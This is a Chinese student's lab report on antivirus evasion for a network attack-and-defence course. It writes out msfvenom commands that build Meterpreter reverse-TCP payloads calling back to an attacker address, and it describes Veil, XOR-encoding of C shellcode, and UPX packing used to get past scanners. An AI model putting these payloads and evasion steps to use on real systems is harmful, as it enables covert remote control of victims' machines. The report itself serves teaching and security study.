20155302《网络对抗》Exp3 免杀原理与实践
实验要求
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
2.通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
实验内容
报告评分 1.5分报告整体观感 0.5分
报告格式范围,版面整洁 加0.5。
报告排版混乱,加0分。
文字表述 1分报告文字内容非常全面,表述清晰准确 加1分。
报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
报告逻辑混乱表述不清或文字有明显抄袭可能 加0分
实验过程
首先学习了解杀毒软件的查杀原理
现在常见的杀毒软件查杀病毒技术主流有两种:特征码查杀和启发式查杀。
所谓特征码查杀技术,就是指杀毒软件将已知的病毒进行分析后,提取出该病毒的一组特征码,什么是特征码,我们知道,任何程序代码都有他自己的特点。就像世 界上永远没有两片相同的叶子,特征码病毒文件中一句或者几句特殊的代码。通过特征码,杀毒软件就能认出这 程序是病毒程序。
病毒的特征码主要分为:文件特征码(病毒存放在硬盘上的阶段)和内存特征码(病毒存已经到内存中的阶段)等。
所以引起大家的思考!如何才能机智的让原本我们的后门软件能够通过杀毒软件的查杀,从而不引起任何异常及警觉,这也是我们信息安全专业的要点,从而思考开始本次实验咯!
根据特征码查杀原理,目前市面上演化出的免杀方法有很多,主要可以分为对木马程序结构的修改和源代码的修改两种。简单的说免杀就是做整容,整得连老妈都不认得就行了。
免查杀的方法现在有很多:
1.修改特征码2.加花指令3.修改程序入口点4.修改程序的输入表5.加密6.加壳等等等等。
Virscan测试后门
先来使用实验二的后门程序来传到virscan上看看情况!
第一次使用这么高端的网站心里还是有点小激动滴!老师给我们介绍了virscan和virustotal两个网站,使用哪个都可以,先用virscan来试一试~
卧槽??!这什么鬼竟然把我上传的后门当作广告,就因为包含我的学号20155302。。。好吧,忍了,我改!
扫描结束~51%的杀毒软件识别了出来。好可怕,这随便做的一个裸奔小后门就可以骗过近半的杀毒软件(?真不知道它们天天都在干嘛==)可是令我开心的是我使用的金山毒霸查杀了出来,emmm...还是不错的嘛。
使用MSF编码器
先自学一下重要的msfvenom命令行:
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
我们这次是在使用-e来启用编码器,在这里我们使用老师推荐的shikata_ga_nai
或bloxor
来选择使用哪种编码方式。
尴尬。。。这编码器编码后的程序查杀率更高了!说明现在的病毒库对于这种方式防范做得比较好吧~但另一方面.....
发现没有查出来病毒的又是腾讯,江民,熊猫,金山等中国杀毒软件。看来中国的杀软与国外的还是有差距啊
再试试其他格式的文件?比如...asp?msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.111.138 LPORT=5302 -f asp > 20155302s.asp
咦~这个还不错呦,只有不到20%的查杀率!看来这程序格式对于查杀的影响很大诶!
那再试试使用-i选项进行多次编码。听说在某些情况下,迭代编码可以起到规避杀毒软件的作用:
打扰了!这么高的查杀率看来不是多次编码对程序检查没有影响就是影响不大。
veil-evasion
首先一定要说这个东西的安装简直是煎熬,不单下载速度慢而且下载过程中出现了无数的错误,又要去其他源去找安装不上的东西,身心疲惫。
在费了牛劲之后,终于装好,好了,开启veil开始实验吧。
具体的选择过程在此就不在累述,因为老师的实验指导里面写的很全面,而且还有一个“不能暂停”的视频或者说是动图,按照那个一步一步操作就好了。
生成.bat文件然后传到网站上,查杀检测一下!
效果。。还可以,小于50%的查杀率不过效果显然还不是很理想啊。
C语言调用Shellcode
先生成一个c语言格式的Shellcode数组:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.138 LPORT=5302 -f c
Linux平台交叉编译Windows应用:i686-w64-mingw32-g++ met.c -o met.exe
生成met.exe。
看有的同学放到自己windows时会出问题,可我的却没有。。可能,这金山毒霸该被我卸载了吧?
等我有钱了以后一定换一个正版国外知名杀毒软件?。
补一张回连成功的图
组合应用技术
1.通过msf生成一个c语言格式的Shellcode数组。设置好攻击机IP地址和端口号。
2.将buf[]中的内容拷贝下来放到VC或者VS中编译,记住要只编译先不要运行哈。
3.将程序上传到virustotal上面去检测一下
4.接下来又是进一步的改造。比较简单的方法是在代码中加入几行使其进行异或变换,在生成的那个放回替换原来的shellcode,然后在main函数里再异或回去。
成功!!只有两个杀毒软件查杀到了,这近乎已经实现了免杀!(大家记住这两款杀毒软件,以后就装他们!)?
5.在linux中进行回连,并运行VC中的程序,发现回连成功,并且并没有被金山毒霸的杀毒软件查杀!
加壳
按照老师教程指导,选择使用upx进行加壳测试
结局惨不忍睹。。
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
就是不让杀软检测出特征码,对自己的结构进行伪装。
(3)免杀的基本方法有哪些?
1.修改特征码2.加花指令3.修改程序入口点4.修改程序的输入表5.加密6.加壳等等等等
实验总结与体会
首先那个veil太难装了总出错,影响了这次实验的心情,这次实验学到了很多知识最重要也是最有趣的就是如何把后门软件进行“化妆”来让它伪装骗过所有的杀毒软件,而且实验中我们也见识到了中国杀毒软件的“菜”,学习永无止境!
实验中遇到的困难与问题
1.安装veil的时候出了好多好多错,这问题好解决,自己看什么没安装上去阿里云自己找源下或者拷其他弄好了的虚拟机吧。
2.在生成.jar文件的时候总是出问题,问题出在生成的文件是0KB,然后上传到virustotal上面会显示别人的上传的文件而且无一例外都是免杀的??!试了很多次都是酱紫,其他同学跟我输入相同指令却能成功,还有的人也有这种问题但进入虚拟机浏览器打开就可以了,可我怎样都不行,等一个老师来指导一下。。。我是真滴不太清楚。